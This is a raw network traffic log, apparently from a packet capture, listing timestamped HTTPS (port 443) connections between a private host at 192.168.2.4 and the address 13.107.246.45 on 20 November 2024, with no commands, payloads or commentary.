Nov 20, 2024 07:49:03.398683071 CET	443	49811	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:03.430389881 CET	443	49812	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:03.431277990 CET	49812	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:03.431303024 CET	443	49812	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:03.431782007 CET	49812	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:03.431787968 CET	443	49812	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:03.446439981 CET	443	49813	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:03.446814060 CET	49813	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:03.446851969 CET	443	49813	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:03.447232962 CET	49813	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:03.447243929 CET	443	49813	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:03.498402119 CET	443	49811	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:03.498452902 CET	443	49811	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:03.498538971 CET	49811	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:03.498738050 CET	49811	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:03.498769999 CET	443	49811	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:03.498797894 CET	49811	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:03.498814106 CET	443	49811	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:03.501581907 CET	49816	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:03.501631021 CET	443	49816	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:03.501775026 CET	49816	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:03.501936913 CET	49816	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:03.501957893 CET	443	49816	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:03.533857107 CET	443	49812	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:03.533936024 CET	443	49812	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:03.534018040 CET	49812	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:03.534174919 CET	49812	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:03.534174919 CET	49812	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:03.534221888 CET	443	49812	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:03.534249067 CET	443	49812	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:03.536721945 CET	49817	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:03.536756039 CET	443	49817	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:03.536835909 CET	49817	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:03.536946058 CET	49817	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:03.536953926 CET	443	49817	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:03.545510054 CET	443	49813	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:03.545666933 CET	443	49813	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:03.545763969 CET	49813	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:03.545825005 CET	49813	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:03.545825958 CET	49813	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:03.545857906 CET	443	49813	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:03.545891047 CET	443	49813	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:03.547836065 CET	49818	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:03.547853947 CET	443	49818	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:03.547941923 CET	49818	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:03.548069000 CET	49818	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:03.548083067 CET	443	49818	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:03.946113110 CET	443	49814	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:03.952050924 CET	49814	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:03.952095985 CET	443	49814	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:03.952662945 CET	49814	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:03.952675104 CET	443	49814	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.034832001 CET	443	49815	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.035525084 CET	49815	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.035562038 CET	443	49815	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.035962105 CET	49815	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.035968065 CET	443	49815	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.050474882 CET	443	49814	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.050649881 CET	443	49814	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.050705910 CET	49814	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.050740957 CET	49814	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.050762892 CET	443	49814	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.050779104 CET	49814	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.050786972 CET	443	49814	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.053776026 CET	49819	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.053813934 CET	443	49819	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.053899050 CET	49819	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.054049969 CET	49819	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.054056883 CET	443	49819	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.135025024 CET	443	49816	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.135513067 CET	49816	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.135544062 CET	443	49816	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.136003971 CET	49816	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.136010885 CET	443	49816	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.138037920 CET	443	49815	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.138264894 CET	443	49815	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.138359070 CET	49815	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.138452053 CET	49815	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.138498068 CET	443	49815	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.138529062 CET	49815	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.138545990 CET	443	49815	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.141643047 CET	49820	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.141735077 CET	443	49820	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.141834974 CET	49820	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.141989946 CET	49820	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.142021894 CET	443	49820	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.184340954 CET	443	49817	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.185201883 CET	49817	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.185221910 CET	443	49817	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.185695887 CET	49817	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.185699940 CET	443	49817	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.192677975 CET	443	49818	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.192965984 CET	49818	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.192991018 CET	443	49818	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.193321943 CET	49818	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.193326950 CET	443	49818	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.234680891 CET	443	49816	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.234764099 CET	443	49816	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.234918118 CET	49816	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.235126019 CET	49816	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.235147953 CET	443	49816	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.235161066 CET	49816	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.235167027 CET	443	49816	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.238492966 CET	49821	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.238523960 CET	443	49821	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.238610029 CET	49821	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.238727093 CET	49821	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.238734007 CET	443	49821	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.286000967 CET	443	49817	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.286077023 CET	443	49817	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.286228895 CET	49817	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.286324024 CET	49817	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.286345959 CET	443	49817	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.286359072 CET	49817	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.286365032 CET	443	49817	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.288979053 CET	49822	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.289024115 CET	443	49822	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.289161921 CET	49822	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.289298058 CET	49822	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.289324999 CET	443	49822	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.294631004 CET	443	49818	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.294779062 CET	443	49818	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.294843912 CET	49818	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.294996977 CET	49818	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.295007944 CET	443	49818	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.295018911 CET	49818	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.295025110 CET	443	49818	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.297297955 CET	49823	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.297322989 CET	443	49823	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.297385931 CET	49823	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.297522068 CET	49823	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.297534943 CET	443	49823	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.723664045 CET	443	49819	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.724395037 CET	49819	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.724420071 CET	443	49819	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.724905014 CET	49819	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.724910021 CET	443	49819	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.794038057 CET	443	49820	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.794596910 CET	49820	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.794657946 CET	443	49820	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.795198917 CET	49820	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.795212984 CET	443	49820	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.831065893 CET	443	49819	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.831234932 CET	443	49819	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.831293106 CET	49819	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.831408024 CET	49819	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.831423998 CET	443	49819	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.831433058 CET	49819	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.831438065 CET	443	49819	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.834425926 CET	49824	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.834465027 CET	443	49824	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.834522963 CET	49824	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.834727049 CET	49824	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.834741116 CET	443	49824	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.936043978 CET	443	49822	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.936631918 CET	49822	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.936666012 CET	443	49822	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.937129021 CET	49822	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.937139988 CET	443	49822	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.938395977 CET	443	49820	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.938471079 CET	443	49820	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.938525915 CET	49820	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.938676119 CET	49820	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.938697100 CET	443	49820	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.938711882 CET	49820	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.938719988 CET	443	49820	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.941560030 CET	49825	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.941592932 CET	443	49825	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.941679955 CET	49825	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.941793919 CET	49825	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.941808939 CET	443	49825	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.959700108 CET	443	49823	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.967725992 CET	49823	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.967755079 CET	443	49823	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:04.968637943 CET	49823	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:04.968642950 CET	443	49823	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.037924051 CET	443	49822	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.037998915 CET	443	49822	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.038085938 CET	49822	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.038275957 CET	49822	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.038275957 CET	49822	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.038324118 CET	443	49822	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.038352013 CET	443	49822	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.041208982 CET	49826	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.041244030 CET	443	49826	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.041330099 CET	49826	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.041491985 CET	49826	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.041511059 CET	443	49826	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.068078041 CET	443	49823	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.068243980 CET	443	49823	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.068340063 CET	49823	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.068469048 CET	49823	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.068484068 CET	443	49823	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.068495989 CET	49823	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.068501949 CET	443	49823	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.071393013 CET	49827	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.071461916 CET	443	49827	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.071553946 CET	49827	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.071722031 CET	49827	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.071752071 CET	443	49827	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.468507051 CET	443	49824	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.469269037 CET	49824	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.469286919 CET	443	49824	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.469764948 CET	49824	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.469769001 CET	443	49824	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.567584038 CET	443	49824	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.567656040 CET	443	49824	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.567809105 CET	49824	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.568208933 CET	49824	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.568227053 CET	443	49824	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.568247080 CET	49824	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.568252087 CET	443	49824	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.571697950 CET	49828	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.571753025 CET	443	49828	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.571849108 CET	49828	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.572043896 CET	49828	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.572057962 CET	443	49828	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.580553055 CET	443	49825	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.581139088 CET	49825	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.581159115 CET	443	49825	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.581645966 CET	49825	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.581650972 CET	443	49825	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.680206060 CET	443	49825	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.680288076 CET	443	49825	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.680469036 CET	49825	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.680777073 CET	443	49826	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.680780888 CET	49825	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.680823088 CET	443	49825	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.680851936 CET	49825	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.680867910 CET	443	49825	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.681251049 CET	49826	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.681288004 CET	443	49826	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.681766987 CET	49826	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.681771994 CET	443	49826	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.684003115 CET	49829	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.684099913 CET	443	49829	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.684194088 CET	49829	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.684344053 CET	49829	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.684365034 CET	443	49829	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.739188910 CET	443	49827	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.739794016 CET	49827	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.739836931 CET	443	49827	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.740281105 CET	49827	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.740298986 CET	443	49827	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.779251099 CET	443	49826	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.779350996 CET	443	49826	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.779400110 CET	49826	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.779584885 CET	49826	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.779603004 CET	443	49826	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.779611111 CET	49826	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.779617071 CET	443	49826	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.783443928 CET	49830	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.783505917 CET	443	49830	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.783571005 CET	49830	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.783775091 CET	49830	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.783801079 CET	443	49830	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.843108892 CET	443	49827	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.843286037 CET	443	49827	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.843334913 CET	49827	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.843395948 CET	49827	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.843421936 CET	443	49827	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.843441963 CET	49827	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.843449116 CET	443	49827	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.847045898 CET	49831	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.847137928 CET	443	49831	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:05.847213030 CET	49831	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.847460985 CET	49831	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:05.847495079 CET	443	49831	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.238316059 CET	443	49828	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.238934994 CET	49828	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:06.238976002 CET	443	49828	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.239444971 CET	49828	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:06.239449978 CET	443	49828	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.319711924 CET	443	49829	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.320338964 CET	49829	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:06.320375919 CET	443	49829	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.320867062 CET	49829	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:06.320875883 CET	443	49829	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.340925932 CET	443	49828	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.341003895 CET	443	49828	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.341063023 CET	49828	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:06.347698927 CET	49828	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:06.347698927 CET	49828	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:06.347750902 CET	443	49828	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.347779989 CET	443	49828	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.351300001 CET	49832	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:06.351346970 CET	443	49832	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.351413012 CET	49832	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:06.351583958 CET	49832	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:06.351596117 CET	443	49832	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.420413017 CET	443	49829	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.420579910 CET	443	49829	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.420643091 CET	49829	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:06.420763969 CET	49829	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:06.420789957 CET	443	49829	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.420806885 CET	49829	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:06.420814991 CET	443	49829	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.424253941 CET	49833	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:06.424289942 CET	443	49833	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.424357891 CET	49833	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:06.424530029 CET	49833	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:06.424541950 CET	443	49833	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.450439930 CET	443	49830	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.451025009 CET	49830	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:06.451055050 CET	443	49830	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.451633930 CET	49830	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:06.451642036 CET	443	49830	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.503005981 CET	443	49831	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.503555059 CET	49831	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:06.503593922 CET	443	49831	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.504195929 CET	49831	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:06.504206896 CET	443	49831	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.555681944 CET	443	49830	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.555773020 CET	443	49830	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.555859089 CET	49830	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:06.556098938 CET	49830	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:06.556143999 CET	443	49830	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.556174040 CET	49830	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:06.556190968 CET	443	49830	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.559619904 CET	49834	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:06.559659004 CET	443	49834	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.559762001 CET	49834	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:06.559938908 CET	49834	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:06.559954882 CET	443	49834	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.606952906 CET	443	49831	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.607110977 CET	443	49831	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.607208967 CET	49831	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:06.607372046 CET	49831	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:06.607423067 CET	443	49831	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.607454062 CET	49831	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:06.607470989 CET	443	49831	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.610011101 CET	49835	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:06.610055923 CET	443	49835	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.610130072 CET	49835	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:06.610274076 CET	49835	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:06.610285044 CET	443	49835	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.994849920 CET	443	49832	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.995337009 CET	49832	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:06.995359898 CET	443	49832	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:06.995831013 CET	49832	443	192.168.2.4	13.107.246.45
